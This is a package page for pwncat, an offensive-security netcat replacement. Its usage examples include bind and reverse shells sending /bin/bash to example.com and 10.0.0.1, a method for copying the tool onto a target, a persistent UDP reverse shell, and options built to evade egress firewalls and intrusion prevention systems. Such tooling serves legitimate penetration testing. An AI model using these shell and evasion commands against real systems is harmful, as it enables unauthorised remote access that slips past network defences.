Skip to main content
Join the official 2020 Python Developers SurveyStart the survey!

Netcat on steroids with FW and IPS evasion, bind and reverse shell, local and remote port-forward.

Project description

pwncat

Install | TL;DR | Features | Documentation | Usage | Examples | cytopia sec tools | Contributing | Disclaimer | License

PyPI PyPI - Status PyPI - Python Version PyPI - Format PyPI - Implementation PyPI - License

Build Status Build Status Build Status

 

Netcat on steroids with Firewall and IPS evasion, bind and reverse shell, local and remote port-forward.

 

Motivation

Ever accidentally hit Ctrl+c on your reverse shell and it was gone for good? Ever waited forever for your client to connect back to you, because the Firewall didn't let it out? Ever had a connection loss because an IPS closed suspicious ports? Ever were in need of port-forwarding, but you didn't have SSH access?

This one got you covered.

Apart from that the current features of nc, ncat or socat just didn't feed my needs and I also wanted to have a single tool that works on older and newer machines (hence Python 2+3 compat). Most importantly I wanted to have it in a language that I can understand and provide my own features with. (Wait for it, binary releases for Linux, MacOS and Windows will come shortly).

Some options are still under development. See Roadmap and Changelog for details.

:tada: Install

pip install pwncat

:coffee: TL;DR

Copy to target

# Copy base64 data to clipboard from where you have internet access
curl https://raw.githubusercontent.com/cytopia/pwncat/master/bin/pwncat | base64

# Paste it on the target machine
echo "<BASE64 STRING>" | base64 -d > pwncat
chmod +x pwncat

Summon shells

# bind shell
pwncat -l -e '/bin/bash' 8080
# reverse shell
pwncat -e '/bin/bash' example.com 4444

Port-forwarding without SSH

See here to un-brainfuck: https://www.everythingcli.org/ssh-tunnelling-for-fun-and-profit-local-vs-remote/
(Using the same examples to make it more clear)

The only difference to SSH port-forwarding shown in the blog, is that in their case, the MySQL server is only available on localhost on the remote server. SSH portfowarding is exactly for this case, as it SSH's into the machine and can reach their local port. In the example here, we cannot SSH into the server, so we can only forward/proxy something which is externally available. That's why we just assume the MySQL server is listening publically on everythingcli.org (i.e, their port 3306 is externally available.)

# Local port forward (-L)
# Make Remote MySQL server (remote port 3306) available on local machine on local port 5000
# (listen locally on 127.0.0.1:5000 and proxy everything to everythingcli.org:3306)
pwncat -L 127.0.0.1:5000 everythingcli.org 3306
# Remote port forward (-R) to evade firewalls
pwncat -R 127.0.0.1:3306 example.com 4444

:star: Features

pwncat has many features, below is only a list of outstanding characteristics.

Feature Description
Bind shell Create bind shells
Reverse shell Create reverse shells
Proxy Local and remote port forwards without SSH
Ctrl+c protect Reverse shell can reconnect if you accidentally hit Ctrl+c
Detect Egress Scan and report open egress ports on the target
Evade FW Evade egress firewalls by round-robin outgoing ports
Evade IPS Evade Intrusion Prevention Systems by being able to round-robin outgoing ports on connection interrupts
UDP rev shell Try this with the traditional netcat
TCP / UDP Full TCP and UDP support
Python 2+3 Works with Python 2 and Python 3
Cross OS Should work on Linux, MacOS and Windows as long as Python is available
Compatability Use the traditional netcat as a client or server together with pwncat

:dizzy: Upgrade your shell

When connected to a remote or bind shell you'll notice that no interactive commands will work and accidentally hitting Ctrl+c will terminate your connection. To fix this, you'll need to attach it to a TTY. Here's how:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Ctrl+z

stty size
stty echo -raw
fg
reset
export SHELL=bash
export TERM=xterm
stty rows <num> columns <num>   # values found above by 'stty size'

:closed_book: Documentation

Documentation will evolve over time. Currently only API documentation is available here: https://cytopia.github.io/pwncat/pwncat.api.html

:computer: Usage

usage: pwncat [-Cnuv] [-e cmd] hostname port
       pwncat [-Cnuv] [-e cmd] -l [hostname] port
       pwncat [-Cnuv] -z hostname port
       pwncat [-Cnuv] -L addr:port [hostname] port
       pwncat [-Cnuv] -R addr:port hostname port
       pwncat -V, --version
       pwncat -h, --help


Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion prevention systems.

positional arguments:
  hostname              Address to listen, forward or connect to
  port                  Port to listen, forward or connect to

mode arguments:
  -l, --listen          [Listen mode]:
                        Start server and listen for incoming connections.

  -z, --zero            [Zero-I/0 mode]:
                        Connect to a remote endpoint and report status only.

  -L addr:port, --local addr:port
                        [Local forward mode]:
                        Specify local <addr>:<port> to which traffic should be
                        forwarded to. pwncat will listen locally
                        (specified by hostname and port) and forward all
                        traffic to the specified value for -L/--local.

  -R addr:port, --remote addr:port
                        [Remote forward mode]:
                        Specify local <addr>:<port> from which traffic should be
                        forwarded from. pwncat will connect remotely
                        (specified by hostname and port) and for ward all
                        traffic from the specified value for -R/--remote.

optional arguments:
  -e cmd, --exec cmd    Execute shell command. Only for connect or listen mode.
  -C, --crlf            Send CRLF line-endings in connect mode (default: LF)
  -n, --nodns           Do not resolve DNS.
  -u, --udp             UDP mode
  -v, --verbose         Be verbose and print info to stderr. Use -v, -vv, -vvv
                        or -vvvv for more verbosity. The server performance will
                        decrease drastically if you use more than three -v.

advanced arguments:
  --reinit x            Listen mode (TCP only):
                        If the server is unable to bind or accept clients, it
                        will re-initialize itself x many times before giving up.
                        Use 0 to re-initialize endlessly. (default: don't).

                        Connect mode (TCP only):
                        If the client is unable to connect to a remote endpoint,
                        it will try again x many times before giving up.
                        Use 0 to retry endlessly. (default: don't)

                        Zero-I/O mode (TCP only):
                        Same as connect mode.

  --reconn x            Listen mode (TCP only):
                        If the client has hung up, the server will re-accept a
                        new client x many times before quitting. Use 0 to accept
                        endlessly. (default: quit after a client has hung up)

                        Connect mode (TCP only):
                        If the remote server is gone, the client will re-connect
                        to it x many times before giving up. Use 0 to reconnect
                        endlessy. (default: don't)
                        This might be handy for reverse shells ;-)

  --reinit-robin port   Connect mode (TCP only):
                        If the client does multiple initial connections to a
                        remote endpoint (via --reinit), this option instructs it
                        to also "round-robin" different ports to connect to. It
                        will stop iterating after first successfull connection
                        and stick with it or quit if --reinit limit is reached.
                        Use comma separated string: 80,81,82 or a range 80-100.
                        Set --reinit to at least the number of ports to probe +1
                        Set --reinit-wait to 0
                        This helps to evade EGRESS firewalls for reverse shells
                        Use with -z/--zero to probe outbound allowed ports.
                        Ensure to have enough listeners at the remote endpoint.

  --reconn-robin port   Connect mode (TCP only):
                        If the remote endpoint is gone after initial successful
                        connection, and the the client is set to reconnect with
                        (--reconn), it will connect back by "round-robin" to
                        different ports. It will stop after --reconn limit has
                        reached.
                        Set --reconn to at least the number of ports to probe +1
                        Set --reconn-wait to 0
                        This help your reverse shell to evade intrusion
                        prevention systems that will cut your connection and
                        block the outbound port.

  --reinit-wait s       Wait x seconds between re-inits. (default: 1)

  --reconn-wait s       Wait x seconds between re-connects. (default: 1)

  --udp-ping-intvl s    Connect mode (UDP only):
                        As UDP is stateless, a client must first connect to a
                        server before the server can communicate with it.
                        If you listen on UDP and wait for a reverse UDP client
                        or reverse UDP shell, you can only talk to it after it
                        has sent you some initial data, as UDP does not have a
                        "connect" state like TCP.
                        This option instructs the UDP client to send a single
                        newline every s seconds. By not only doing it once,
                        but in intervals, you can also maintain a connection
                        if you restart your listening server.

misc arguments:
  -h, --help            Show this help message and exit
  -V, --version         Show version information and exit

:bulb: Examples

Find below some more detailed and advanced examples.

Unbreakable UDP reverse shell

Why unbreakable? Because it will keep coming to you, also if you kill your listening server.

# The client
# --exec            # Provide this executable
# --nodns           # Keep the noise down and don't resolve hostnames
# --udp             # Use UDP mode
# --udp-ping-intvl  # Ping the server every 10 seconds

pwncat --exec /bin/bash --nodns --udp --udp-ping-intvl 10 10.0.0.1 4444

If you feel like, you can start your listener in full TRACE logging mode to figure out what's going on

# The server
# -u   # Use UDP mode
# -l   # Listen for incoming connections
pwncat -u -l -vvvvv

You will see (among all the gibberish) a TRACE message:

[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:43213'

As soon as you saw this on the listener, you can issue commands to the client. All the debug messages are also not necessary, so you can safely Ctrl+c terminate your server and start it again in silent mode:

# The server
pwncat -u -l -vvvvv

Now wait a maximum of 10 seconds and you can issue commands. Having no info messages at all, are also troublesome. You might also want to know what is going on behind the scences or? Safely Ctrl+c terminate your server and redirect the notifications to a logfile:

# The server
# 2> comm.txt   # This redirects the messages to a logfile instead
pwncat -u -l -vvv 2> comm.txt

Now all you'll see in your server window are the actual command inputs and outputs. If you want to see what's going on behind the scene, open a second terminal window and tail the comm.txt file:

# View communication info
tail -fn50 comm.txt

[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'
[DEBUG] NetcatServer.receive(): 'Client connected: 10.0.0.105:52167'

:lock: cytopia sec tools

Below is a list of sec tools and docs I am maintaining.

Name Category Language Description
offsec Documentation Markdown Offsec checklist, tools and examples
header-fuzz Enumeration Bash Fuzz HTTP headers
smtp-user-enum Enumeration Python 2+3 SMTP users enumerator
urlbuster Enumeration Python 2+3 Mutable web directory fuzzer
pwncat Pivoting Python 2+3 Cross-platform netcat on steroids
badchars Reverse Engineering Python 2+3 Badchar generator
fuzza Reverse Engineering Python 2+3 TCP fuzzing tool

:octocat: Contributing

See Contributing guidelines to help to improve this project.

:exclamation: Disclaimer

This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

:page_facing_up: License

MIT License

Copyright (c) 2020 cytopia

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Files for pwncat, version 0.0.5a0
Filename, size File type Python version Upload date Hashes
Filename, size pwncat-0.0.5a0-py2.py3-none-any.whl (17.6 kB) File type Wheel Python version py2.py3 Upload date Hashes View
Filename, size pwncat-0.0.5a0.tar.gz (17.0 kB) File type Source Python version None Upload date Hashes View

Supported by

Pingdom Pingdom Monitoring Google Google Object Storage and Download Analytics Sentry Sentry Error logging AWS AWS Cloud computing DataDog DataDog Monitoring Fastly Fastly CDN DigiCert DigiCert EV certificate StatusPage StatusPage Status page